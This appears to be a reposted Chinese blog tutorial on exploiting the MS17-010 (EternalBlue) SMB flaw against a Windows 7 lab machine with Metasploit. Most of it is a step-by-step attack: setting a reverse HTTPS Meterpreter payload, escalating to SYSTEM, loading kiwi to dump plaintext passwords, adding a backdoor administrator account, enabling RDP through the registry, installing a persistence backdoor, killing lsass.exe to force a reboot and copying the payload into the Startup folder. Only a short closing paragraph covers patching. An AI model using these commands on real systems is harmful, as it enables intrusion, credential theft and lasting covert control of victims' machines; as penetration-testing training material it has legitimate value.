当前位置: 首页 > article >正文

MS17_010 漏洞利用与安全加固

文章目录

  • 环境说明
  • 1 MS17_010 简介
  • 2 MS17_010 复现过程
  • 3 MS17_010 安全加固

环境说明

  • 渗透机操作系统:kali-linux-2024.1-installer-amd64
  • 漏洞复现操作系统: cn_windows_7_professional_with_sp1_x64_dvd_u_677031

1 MS17_010 简介

MS17_010 漏洞后门利用程序 EternalBlue(从目前使用情况来看,相对比较稳定)可影响 Windows 7和 Windows Server 2008 大部分版本的操作系统,无需认证权限就能实现系统入侵控制;插件工具DoublePulsar 可以远程向目标控制系统注入恶意DLL 或 Payload程序。综合利用这两个工具,入侵成功之后可以对目标系统执行 Empire/Meterpreter 反弹连接控制。在此过程,还需要NSA 使用的类似 Metasploit 的漏洞利用代码攻击框架 FuzzBunch。

Windows SMB 远程任意代码执行漏洞(MS17_010) 包括如下CVE:CVE-2017-0143 严重远程命令、CVE-2017–0144严重 远程命令执行,CVE-2017-0145 严重 远程命令执行、CVE-2017-0146 严重 远程命令执行、CVE-2017-0147重要 信息泄露、CVE-2017-0148 严重 远程命令执行。

漏洞描述如下:

1)SMBv1 server 是其中一个服务器协议组件。

2)Windows 中的SMBv1服务器存在远程代码执行漏洞。

3)远程攻击者可借助特制的数据包利用漏洞执行任意代码。

以下版本受到影响:Windows Vista SP2,Windows Server 2008 SP2 和 R2 SP1,Windows 7 SP1,Windows 8.1,Windows Server 2012 Glod 和 R2,Windows RT 8.1 ,Windows 10 Glod、1511 和 1607,Windows Server 2016。

2 MS17_010 复现过程

在开始之前请关闭靶机的防火墙, 关于渗透机和靶机环境的搭建可自行Bing

步骤01、

打开网络拓补,单机 “启动”按钮,启动实现虚拟机,如图所示。

在这里插入图片描述

步骤02、

使用ifconfig ipconfig命令分别获取渗透机和靶机的IP的地址,使用ping 命令进行网络 连通性测试,确保网络可达。

渗透机的IP 地址为 192.168.254.134,如图所示。

渗透机的IP地址

在这里插入图片描述

靶机的IP地址为 192.168.254.129,如图所示。

靶机的IP地址

在这里插入图片描述

步骤03、

使用 msfconsole 命令启动Metasploit 渗透测试平台,如图所示。

启动 Metasploit

在这里插入图片描述

步骤04、

使用search 命令搜索 msf 模块,即 auxiliary/scanner/smb/smb_ms17_010,验证目标靶机是否存在此漏洞,如图所示。

搜索 MS17_010 相关模块

在这里插入图片描述

步骤05、

使用 use auxiliary/scanner/smb/smb_ms17_010 命令调用漏洞扫描检测模块。使用 show options 命令查看需要配置的参数,如图所示。

查看配置参数

在这里插入图片描述

使用 set RHOSTS 命令设置靶机地址,使用 exploit 或者 run 命令运行扫描模块,如图所示。

设置目标地址并运行检测

在这里插入图片描述

步骤06、

通过扫描发现目标靶机存在 MS17_010 漏洞,使用 use 命令调用 exploit/windows/smb/ms17_010_eternalblue 漏洞利用模块,如图所示。

调用利用模块

在这里插入图片描述

然后使用 show options 命令查看配置参数,并对目标靶机地址进行设置,如图所示。

查看配置参数

在这里插入图片描述

步骤07、

使用 set PAYLOAD 命令设置一个攻击载荷模块,这里使用HTTPS的Meterpreter 反弹载荷,即 windows/x64/meterpreter/reverse_https,更不易察觉,如图所示。

设置载荷模块

在这里插入图片描述

步骤08、

使用 show opotions 命令查看载荷模块需要配置的参数,如图所示。

查看配置参数

在这里插入图片描述

使用 set RHOST 命令设置目标靶机地址,如图所示。

设置目标地址

在这里插入图片描述

使用 set LHOST 命令设置本地反弹连接的地址,如图所示。

设置本地地址

在这里插入图片描述

然后使用 run 或者 exploit 命令运行该模块,如图所示。

运行溢出模块

在这里插入图片描述

步骤09、

使用 getsystem 提权到system权限,如图所示。

在这里插入图片描述

使用 sysinfo 命令查看目标靶机信息,如图所示。

查看目标靶机信息

在这里插入图片描述

步骤10、

kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制,如图所示。

因为目标系统是64位的所以需要把meterpreter进程迁移到一个64位程序的进程中

在这里插入图片描述

把进程迁移到PID为492这个程序中(因为当前用户),如图所示。

进程迁移

在这里插入图片描述

使用 load kiwi 命令加载密码获取模块,然后使用 creds_wdigest 命令获取管理员密码,如图所示。

加载密码获取模块

在这里插入图片描述

步骤11、

使用 shell 命令启动 Meterpreter 下 cmd 的 Shell 终端,如图所示。

获取操作系统的 Shell

在这里插入图片描述

然后使用 ipconfig 命令查看当前网卡的信息,如图所示。

查看网卡信息

在这里插入图片描述

使用 whoami 命令查看当前的系统权限,如图所示。

查看用户权限

在这里插入图片描述

步骤12、

使用 net user 账户名 密码 /add 命令添加账户,然后进行提权,如图所示。

查看后门用户

在这里插入图片描述

使用 net localgroup administrtors 后门用户 /add 命令将后门用户提升为管理员权限,如图所示。

添加用户至管理员分组

在这里插入图片描述

步骤13、

使用 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 命令设置注册表,如图所示。

设置注册表,开启远程访问

在这里插入图片描述

步骤14、

使用 rdesktop 靶机IP地址 命令 启动远程桌面连接终端,并使用后门用户进行登录,如图所示。

登录靶机系统

在这里插入图片描述

登录成功,成功渗透,如图所示。

成功登录靶机。

在这里插入图片描述

步骤15、

在 Meterperter 命令下,使用 background 命令将 Meterpreter终端隐藏在后台,执行其他任务,如图所示。

将 Meterpreter终端隐藏在后台

在这里插入图片描述

使用 use exploit/windows/local/persistence 命令植入持续后门,再使用 show options 命令查看需要配置的参数,如图所示。

查看配置参数
在这里插入图片描述

使用 set SESSION 命令设置刚才获得权限的会话,使用 set STARTUP 设置SYSTEM启动,如图所示。

设置获得权限的会话

在这里插入图片描述

使用 set LHOST 命令设置载荷模块监听的本地地址,使用 set LPORT 命令设置载荷模块的监听的本地端口,如图所示。

设置相关参数

在这里插入图片描述

然后使用 run 或者 exploit 命令运行该模块,如图所示。

运行维持权限模块

在这里插入图片描述

步骤16、

首先按 <Ctrl + Shift + T> 组合键打开一个新窗口,然后使用 use /exploit/multi/handler 命令调用监听模块,同时使用 set payload windows/meterpreter/reverse_tcp 命令,设置本地监听的地址 192.168.254.134,设置监听端口 3306,最后使用 show options 命令查看最终的配置,如图所示。

查看配置参数

在这里插入图片描述

步骤17、

在之前的 Meterpreter 下使用 reboot 命令重启目标靶机,此时靶机将重新启动并加载之前的持续后门,如图所示。

获得操作系统的Shell,由于权限不够,重启失败

在这里插入图片描述

由于权限不够而导致重启失败,可尝试终止 lsass.exe 进程,让系统进入异常重启状态,如图所示。

查找 lsass.exe 进程的PID,终止 lsass.exe 进程

在这里插入图片描述

如果没有出现由于权限不够而导致重启失败,正常情况下重启系统,在监听会有后门脚本主动连接上,如图所示。

运行溢出模块

在这里插入图片描述

若重启后发现该后门脚本无法正常运行,如图所示。根据后门维持脚本生成的文件目录找到该脚本文件,可推测是由于系统安全机制拦截,如图所示。

在这里插入图片描述

在这里插入图片描述

此时需要手动将该脚本复制到开机自启动项中:C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup,如图所示。

在这里插入图片描述

步骤18、

在 windows/handler 模块下使用 set LHOST (渗透剂IP)set LPORT (监听端口) 命令,最后使用 exploit -j 命令进行后台监听,再次重启目标靶机然后等待持续后门的自动连接,至此后门维持结束。

3 MS17_010 安全加固

步骤19、

大多数用户启用了 “自动更新”,他们不必采取任何操作,因为此安全更新将自动下载并安装。尚未启用“启动更新” 的用户必须检查更新并手动安装此更新。有关自动更新中特定配置选项的信息,对于管理员、企业安装或者想要手动安装此安全更新的最终用户,Microsoft 建议使用更新管理软件立即应用此更新或者利用 Microsoft Update 服务检查更新,如图所示。

官方安全公告

在这里插入图片描述


http://www.kler.cn/a/273291.html

相关文章:

  • Python实现FTP服务器:从入门到实践
  • 响应式网页设计案例
  • Spring框架的事务管理
  • 『YOLO』| 断点训练、解决训练中断异常情况
  • ubuntu22.04安装conda
  • 基于人脸识别PCA算法matlab实现及详细步骤讲解
  • Python内置函数map、split、join讲解
  • 跳绳计数,YOLOV8POSE
  • VSCode + PicGo + Github 实现markdown图床管理
  • 【Hadoop】 在Spark-Shell中删除Hive内部表和外部表的数据
  • Vue+SpringBoot打造数据可视化的智慧河南大屏
  • 单目相机标定实现--张正友标定法
  • 基于Spring Boot的拍卖管理系统设计与实现
  • C++ opencv2找错
  • Css提高——Css3的新增选择器
  • mac npm install 很慢或报错
  • Nadaraya-Watson核回归
  • nvm安装和使用保姆级教程(详细)
  • 微服务技术栈SpringCloud+RabbitMQ+Docker+Redis+搜索+分布式(五):分布式搜索 ES-下
  • Kafka:分布式消息队列
  • 如何使用敏捷开发方法(如Scrum)进行游戏项目管理?
  • 机器学习模型—XGBoost
  • 【2023蓝桥杯】刷题笔记(C语言)
  • 关于 闰年 的小知识,为什么这样判断闰年
  • mysql统计数据库大小
  • Android 14.0 SystemUI设置系统导航栏默认为系统手势导航